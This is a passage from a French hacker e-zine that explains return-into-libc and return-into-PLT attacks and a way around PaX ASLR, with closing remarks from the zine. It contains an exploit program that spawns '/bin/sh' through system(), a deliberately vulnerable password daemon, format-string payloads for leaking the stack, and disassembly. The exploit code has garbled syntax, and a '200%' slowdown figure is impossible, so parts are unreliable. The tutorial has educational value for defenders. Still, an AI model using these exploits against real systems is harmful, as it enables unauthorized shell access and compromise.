Dans le cas d'un return into libc, nous allons modifier cette sauvegarde du registre EIP, afin de faire retourner la fonction courante (ici, la fonction main)sur une fonction de la libC, ce qui modifiera le flux d'exécution de la fonction. Evidemment, cela implique connaître l'adresse de la fonciton a exécuter. Ce pourrait être system() par exemple. Avec gdb on peut "résoudre" l'adresse de ce symbole dans la bibliothèque ainsi :
(gdb) p & system
$1 = 0x4005529b <system>
Maintenant, il nous faut simuler une frame correcte pour effectuer l'appel
d'une fonction sur la pile.
Gagstuck ous donne un exemple d'exploit classique que l'on peut utiliser pour
exploiter un return into libc tout bête :
#include <string.h>
#include <unistd.h>
#define TARGET "./vuln"
#define copy(a,b) *((int *) &buf[a])=b
#define CMD "/bin/sh" //arg[1] de system()
#define PAD 68 // nb d'octets avant eip
#define SYSTEM 0x4005529b // adresse de system() dans libc
#define RET 0xbadc0ded // retour de system()
#define ARG (0xc0000000 - 4 - sizeof(CMD) - sizeof(TARGET)) // calacule de
l'arg 1 ("/bin/sh") dans l'environnement (cela facilite le calcul
de le placer dedans).
int main(int argc, char **argv) {
char *arg[] = {TARGET? NULL? NULL }.
CHAR *ENV[] + {CMD, NULL};
char buf[PAD + 12];
memset(buf, 'A', PAD + 12);
copy(PAD, SYSTEM);
copy(PAD + 4, RET);
copy(PAD + 8, ARG);
arg[1] = buf;
execve(arg[0], arg, env);
return (0);
il suffit de le lancer, et "/bin/sh" est exécuté. le programme termine par un segfault quand il tente de retourner sur l'adresse de retour fictive "0xbadc0ded"
2. RETURN INTO PLT
--------------------------
Face à cette attaque, PaX a vite réagit et a conçu une
défense simple et efficace. Le but es de générer un alea
sur toutes les adresses bases des librairies en modifiant le comportement
de mmap. Cela rend alors l'exploitation du return into libc plus difficile
car, pour exploiter cette techniques, on part du principe que les adrese de
la libc sont des valeurs absolues et ne changent pas.
Quelques temps plus tard, Nergal fut le précursseur de l'exploitation
avancée de "return into libc" : les return into PLT (Procedure
Linkable Table). AInsi, au lieu de retourner directement dans une fonciton
de la libc (cela étant rendu impossible par les nouveaux patchs de
sécurités PaX), l'idée est de retourner dans une zone
de mémoire du processus, la PLT. Elle contient les appels aux routines
des différents bibliothèques entre autres. Cette zone reste
mappée à des adresses fixes. En élargissant, les foncitons
dans les sections .plt ou .text. peuvent être utilisés.
Il est complexe de stopper cette attaque, car un grand nombre dadresses absolues sont codées en dur dans un binaire, par exemple dans son en-tête, ses sections de code (.text., .plt), ses sections de données (.got, .data, .rodata), sa seciton dynamique (.dynamic), sa section de symboles dynamiques (.dynsym), sa section got (.got) et autres section de constructeurs et destructeurs.
Grâce au projet PaX, il existe une protection système contre ces attaques dites : ASLR (Address Space Layout Randomization). Elle permet de bloquer l'exploitation basées sur la prédiction d'adresses, comme els buffers overflow par return into libc ou return into PLT. Son principe consiste à mapper 2 fois le binaire dans le processus, l'un aux adresses du binaire, dont l'accès va être filtré par le mécanisme de page fault, et l'autre à une adresse aléatoire. Quand l'instance du code remappée accède aux segments d'origine par ses isntructions d'adressage absolue, la référence est patchée dynamiquement depuis le handler de PF. Cette implémentation au niveau kernel fait souffrir la machine proétége INTEL d'une chute de performance de 200% (sur un kernel linux, avec l'option RANDEXEC activé sur tous les binaires) dûe aux tehcniques utilisées (entre autre, le détournement du handler de page fault depuis le kernel).
Cette protection semble très difficile à contourner en pratique par buffer overflow. Récemment, en 2003, Tyler Durden, a montré comment il été possible de bypasser la protection ASLR des protections PaX. Toutefois, cet article montre que cette exploitation est extrêmement dure et demande beaucoup de conditions.
3.1 BYPASSING PAX ASLR PROTECTION
-------------------------------------------------
Comme nous l'avons vu, la protection contre le return into PLT consiste
à mapper toutes les librairies n'importe où en mémoire
(y compris la partie 'base' de l'exécutable qui est relikée
en librairie) à l'aide de la technique mmap(), déjà utilisée
dans openwall.
Mais, si on arrive à transformer un overflow en info leak (c'est-à-dire
récupérer des infos internes au process sans le faire crasher,
et ce qui nous intéresse nous, ce sont les addresses de fonctions,
entre autres), alors tu peux faire de return into libc (ou return into plt),
comme s'il n'y avait jamais eu d'ASLR.
Certes, l'ASLR génère un aléa sur toutes les addresses
codées en brutes dans les binaires, mais dans notre cas, le challenge
est de récupérer les adressses en runtime, après que
les librairies aient été mappées. Donc, grâce à
l'info leak, on peut deviner les addresses.
Illustrons cela :
1: A 2: B 3: C 4:D
Soient A, B, C et D nos librairies et 1, 2, 3, 4 leurs addresses. Admettons
aussi que l'ensemble des possibles pour els addressse sont de 1 - 5000. Donc,
objectivement, paX peux mapper les libcs A, B, C et D n'importe où
entre 1 et 5000. Par conséquent, on doit bannir d'emblée les
techniques de brute-forcing après qu'elles aient été
mappées (c'est-à-dire avant que le main() prenne la main). Mais,
si on devine par info leak leur addresse, l'addresse ne va pas changer si
on crash le process.
Pour les deviner, on peut imaginer plusieurs techniques. Celle illustrée
dans Phrack 58 dans l'article de Tyler Durden est une technique de partial
eip overwrite et de retour dans des fonction d'output : on overwrite que 1
ou 2 bytes de saved_eip sur la stack. On peut donc utiliser 2 octets (même
si on doit bruteforcer les 4 bits du 2ème byte), cela signifie en fait
qu'il n'y a que 16 combinaison à faire pour deviner une addresse relative
par rapport à la return address qui est sur la stack.
A noter que l'on peut maintenant overwirter 2 bytes, et non plus qu'un car
pax n'utilise plus une protection par pagination, mais par segmentation (il
utilise la limite des segments dans la GDT, plutot que de hijacker le handler
de page fault et filtrer laccess page par page), technique adotpée,
après la réalisation du paper de tyler Durden...
Maintenant, prenons un exemple pratique.
Techniquement, on peut exploiter ce partial eip overwrite par l'utilisation
de shellcodes alphanumeric par exemple [7]. Ce que l'on cherche à faire,
c'est de provoquer un buffer overflow en devinant un adresse de la libc, malgré
le fait que la protection ASLR génère des aléas dessus.
On pourrait avoir l'idée d'utiliser un mécanisme de brute forcing,
mais ce que l'on veut en outre, c'est d'empêcher que le programme crash
(utile, si l'on veut l'exploiter :p).
Il va donc falloir dégotter une faiblesse sur cette protection système.
En fait, elle possède une faille. Voici un exemple de code vulnérable
:
<++> DHagainstpax/pax_daemon.c !d75c8383
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define NL '\n'
#define CR '\r'
#define OKAY_PASS "evil"
#define FATAL(str) { perror(str); exit(-1); }
int verify(char *pass);
int do_auth();
char pass[48];
int len;
int main(int argc, char **argv)
{
return (do_auth());
}
/* Non-buggy passwd based authentication */
int do_auth()
{
printf("Password: ");
fflush(stdout);
len = read(0, pass, sizeof(pass) - 1);
if (len <= 0)
FATAL("read");
pass[len] = 0;
if (!verify(pass))
{
printf("Access granted .\n");
return (0);
}
printf("You loose !");
fflush(stdout);
return (-1);
}
/* Buggy password check (stack based overflow) */
int verify(char *pass)
{
char filtered_pass[32];
int i;
bzero(filtered_pass, sizeof(filtered_pass));
for (i = 0; pass[i] && pass[i] != NL && pass[i] != CR; i++)
filtered_pass[i] = pass[i];
if (!strcmp(filtered_pass, OKAY_PASS))
return (0);
return (-1);
}
<-->
Ce code affiche un prompte, attends qu'on lui rentre un password, et le compare avec le password valide en filtrant les caractères CR et NL :
bash$ ./paxtestd
Password: toto
You loose !
bash$ ./paxtestd
Password: evil
Access granted .
bash$
On s'aperçoit que l'on est en précens d'une vulnérabiliter de stack overflow sur ce démon au niveau du buffer filtered_pass[]. Comment exploiter cette vulnérabilité en présence d'une protection "PaX full random address space", la protection système ASLR ?
Regardons plus précisemment ce bout de code :
(...)
printf("Password: ");
fflush(stdout);
len = read(0, pass, sizeof(pass) - 1);
if (len <= 0)
FATAL("read");
pass[len] = 0;
if (!verify(pass))
{
(...)
en désassemblant avec gdb on obtient ceci :
804858c: 55 push %ebp
804858d: 89 e5 mov %esp,%ebp
804858f: 83 ec 08 sub $0x8,%esp
8048592: 83 c4 f4 add $0xfffffff4,%esp
8048595: 68 bc 86 04 08 push $0x80486bc
804859a: e8 5d fe ff ff call 80483fc <printf>
804859f: 83 c4 f4 add $0xfffffff4,%esp
80485a2: ff 35 00 98 04 08 pushl 0x8049800
80485a8: e8 1f fe ff ff call 80483cc <fflush>
80485ad: 83 c4 20 add $0x20,%esp
80485b0: 83 c4 fc add $0xfffffffc,%esp
80485b3: 6a 2f push $0x2f
80485b5: 68 20 98 04 08 push $0x8049820
80485ba: 6a 00 push $0x0
80485bc: e8 6b fe ff ff call 804842c <read>
80485c1: 89 c2 mov %eax,%edx
80485c3: 89 15 50 98 04 08 mov %edx,0x8049850
80485c9: 83 c4 10 add $0x10,%esp
80485cc: 85 d2 test %edx,%edx
80485ce: 7f 17 jg 80485e7 ; if (len <= 0)
80485d0: 83 c4 f4 add $0xfffffff4,%esp
80485d3: 68 c7 86 04 08 push $0x80486c7
80485d8: e8 df fd ff ff call 80483bc <perror>
80485dd: 83 c4 f4 add $0xfffffff4,%esp
80485e0: 6a ff push $0xffffffff
80485e2: e8 35 fe ff ff call 804841c <exit>
80485e7: b8 20 98 04 08 mov $0x8049820,%eax
80485ec: c6 04 02 00 movb $0x0,(%edx,%eax,1)
80485f0: 83 c4 f4 add $0xfffffff4,%esp
80485f3: 50 push %eax
80485f4: e8 27 ff ff ff call 8048520 <verify>
80485f9: 83 c4 10 add $0x10,%esp
Plus exactement ceci :
(...)
8048595: 68 bc 86 04 08 push $0x80486bc
804859a: e8 5d fe ff ff call 80483fc <printf>
(...)
80485f4: e8 27 ff ff ff call 8048520 <verify>
80485f9: 83 c4 10 add $0x10,%esp
Le 'call printf' et le 'call verify' sont clairement sur la même page
offset, on le sait parce que 20 bits supérieurs sont les mêmes.
Cela signifie qu'on est capable de retourner sur cette instruction en faisant
déborder l'EIP d'un byte.
SI on regarde l'état de la stack, on s'aperçoit que le printf()
est appelé avec des paramètres déjà présent
sur la stack (le paramètres verify() par exemple). Par conséquent,
en contrôlant le premier paramètre de la fonction, on obtient
une format string aléatoire sur la fonction printf et on provoque dès
lors un bug de format (une faille de format string). On appelera alors la
fonction vulnérable à nouveau et on obtiendra alors une faille
de type return into libc classique : on aura qu'à faire revenir la
fonction sur l'instruction vulnérable.
On peut maintenant ce concocter un buffer de 37 byte (32 octets du buffer, 4 octets pour le FP et un octet pour l'EIP) pour l'input du password :
"%001$08u \x9a"
"%002$08u \x9a"
"%003$08u \x9a"
"%iii$08u \x9a"
ce bug de format lira le ième paramètre sur la stack (iii$) et l'affichera en tant qu'entier non signé (%u) sur 8 caractères (8), en remplissant avec le caractères '0' si nécessaire (se référer au page man de printf(3)).
bash-2.05$ ./runit
[RECEIVED FROM SERVER] *Password: *
Connected! Press ^C to launch : Starting remote stack retreiving ...
Remote stack :
00000000 08049820 0000002F 00000001
472ED57C 4728BE10 B9BDB84C 4727464F
080486B0 B9BDB8B4 472C6138 473A2A58
47281A90 B9BDB868 B9BDB888 472B42EB
00000001 B9BDB8B4 B9BDB8BC 0804868C
bash-2.05$
On lit ici 80 bytes, en provoquant 20 fois un bug de format, à chaque fois incrément de 'iii'. Dès lors qu'on sait exploiter ce bug de format, on peut écraser EIP (et le paramètre se trouvant après EIP sur la stack) afin d'obtenir une exploitation classique de return-into-libc.
3.2 CONDITIONS DE L'EXPLOITATION
----------------------------------------------
Cette exploitation et non seulement très difficile mais nécessite en outre certains conditions siné qua non.
Avant tout, tous les overflows ne peuvent être exploités ainsi. Seuls les overflows octet par cotets du genre memcpy() et strncpy() sont vulnérables. Les overflows impliquant des fonctions utilisant un NUL byte ne sont pas vulnérables.
Pour notre exploitation on peut provoquer un return-into-write ou return-into-tout_autre_fonction_de_sortie s'il n'y a oas de printf (ou send() ou wrtie() meme) dans les alentours de l'adresse de retour originale, mais, selon la fonction de sortie utilisé, il sera plus dur de mettre en place une attaque dès lors qu'on aurait à contrôle un nombre plus important de paramètres de la fonciton vulnerable.
Notre technique souffre aussi des limitation imposée par l'overwriting du Frame Pointer [8]. SI le registre du frame pointer (%ebp) est utilisé entre 'call printf' et 'call vuln_func', le programme crashera et on sera alors incapable d'appeler vuln_func() à nouveau. Ainsi, des programmes du style :
/* Non-buggy passwd based authentication */
int do_auth()
{
int len;
printf("Password: ");
fflush(stdout);
len = read(0, pass, sizeof(pass) - 1);
if (len <= 0)
FATAL("read");
pass[len] = 0;
if (!verify(pass))
(...)
ne sont pas exploitable par return-into-libc parce que 'len' sera indexé dans %ebp après le 'ret' de la fonction read() (rappelons que EBP permet d'accéder à la pile lors d'un appel de sous-prog).
Enfin, Segvguard est un tool codé apr Nergal et décrit dans
son paper [3]. En gros, il ets utilisé pour interdire un exécutable
de se relancer s'il crashe trop de fois. Si segvguardest utilisé, on
ne peut exploiter un return-into-libc, sinon on peut déborder EIP de
2 octets puis brute-forcer les 4 bits supérieurs aléatoires
du deuxième octets débordé. On pourra alors retourner
sur un 'call printf' plus loin, ce qui accroîtra les chances d'exploitations.
5. ELFsh PROJECT
---------------------
Lancé en 2003 par la team devhell, le projet ELFsh propose une implémentation
expérimentale de l'ASLR en userland sur les machines INTEL. Cette méthode
permet de conserver la performance d'origine et, de ce fait, se distingue
sensiblement du patchs paX où la machine perd 200% de ses capacités.
Ici, le remapping est effectué statiquement directement dans le binaire,
en modifiant l'adresse de chaque segment mappé, et en relogeant l'exécutable
après avoir recontruit ses tables de relocation. Cette implémentation
est fiable, elle consiste à relinker les binaire d'une distributions
en librairies dynamiques (ce qui demande de possédaire de tous les
objets relogeables, ainsi que les makefile d'origine du package).
Cette implémentation ASLR admet toujours des faux positifs de relocation
(difficile à dtéecter automatiquement) et elle n'est donc pas
parfaite, mais des études sont toujours en cours à ce sujet.
6. CONCLUSION
---------------------
Il existe bien d'autre méthodes pour bypasser ces protections toujours plus efficaces. gera, détaille une autre méthode de bypass de l'ASLR, assez semblable à celle de tyler Durden [9]. Mais il y en a d'autres, ce qu'il faut c'est chercher. Certains se demandent comme les autres font pour trouver de telles vulnérabilités. Il suffit juste d'appliquer ces trois points :
1/ tu prends le paper de gera, tyler durden ou autre, tu l'étudies
à fond et tu fais marcher tout le code
2/ tu appliques ca aux nouvelles vulnerabilités pour faire tes propres
exploits
3/ tu audites du code pour trouver tes propres vulns (le plus long)
TRES peu de gens savent faire ça, mais si tu sait faire, plus rien ne te résistera
7. REFERENCES
-------------------------------------------------------------------------------------
Références :
[1] - "Fun And Games With Evoluates Shellcodes" - Nocte, TDC Mag
n°4
[2] - "Bypassing PaX ASLR protection" - Tyler Durden, Phrack #59-0x09
[3] - "The advanced return-into-libc exploit" - Nergal, Phrack #58-0x04
[4] - The ELFsh project - http://www.devhell.org/~mayhem/projects/elfsh/ http://elfsh.devhell.org
[5] - The PaX Team - http://pageexec.virtualave.net
[6] - "Smashing the Stack For Fun And Profit" - Aleph1, Phrack #49-0x0e
[7] - "Writing alphanumeric shellcodes" - rix, Phrack #57-0x0f
[8] - "Frame pointer overwriting" - klog, phrack #55-0x08
[9] - "advanced dlmalloc exploits" - gera, Phrack #61
-------------------------------------------------------------------------------------
THX : tyler durden (pour ses explications et le temps passé à m'expliquer les antres des systèmes ELF :p), MeiK.
Have fun,
Nocte / DHS (http://www.dhs-team.org - nocte@dhs-team.org)
...::: Hacking By
Nocte:::...
=====================================================================
6. FAILLES & EXPLOITS: DHS-Team Advisories - DHS Team (parus dans http://www.wholetrack.eu.org)
=====================================================================
Depuis le dernier e-zine, DHS Team s'est énormément investi dans la sécurité. Dans cette optique, elle a pu sortir quelques advisories accompagnés d'exploits pour certains. Thx à deux members incomparables dans ce domaine : An0nym0uS et vRz. Dans le prochain numéro, un article complet sur le détail des failles, afin d'aider ce qu'ils veulent s'investirent dans la sécurité, sera publié. Vous pouvez les trouver sur le site à cet endroit : http://dealerhacksecurity.free.fr/release et sur la mailing liste française : http://www.wholetrack.eu.org. Par conséquent, on ne les publiera pas ici, plutôt que de les recopier bêtement, on sortira un article beaucoup plus complet sur l'explication des vulnérabilités, la réalisation d'explois, et la mise en place de patchs.
=====================================================================
The end :) Et voilà ! Ce numéro copieux et riches en aventures touche à sa
fin. Prenez le temps de lire, tester, méditez et bien cogitez sur les articles
proposés. J'espère que nos nouveaux objectifs en matière de sécurité vous
donneront l'envie de vous investir davantage dans ce domaine et surtout d'avoir
pour état d'esprit non pas d'exploiter stupidement une faille trouvée, mais
bien plutôt de faire les démarches nécessaires afin qu'elle soit comblée au
plus tôt. Pour cela, le meilleur moyen et de coder un exploit puis de mailer
à la société concerné, soit de développer un patch de sécurité...
Have fun Y'all ;)
Bon, sur ce, je terminerai par ce poème d'un hacker anonyme :
010110100111
101010100100
100011010111
110010101000
100010101111
100010101110
001011011011
101100110010
101101010010
010101011010
010111010011
101001010111
010101001111
111010010111
Visitez notre WebSite: http://www.dhs-team.org - chan irc : paris.fr.kewl.org #dhs-team
Passer faire un tour sur le WebSite de ArenHack : http://www.arenhack.com
Vous avez des questions à propos du nos Mag's ? Un sujet vous intrigue ? Lâchez vous sur notre forum : http://dealerhacksecurity.free.fr/forum
(Attention, il va bientôt changer d'addresse !! Vous serez mis au courant sur le forum...)
By DHS Team -
The Dealer Hack Security Team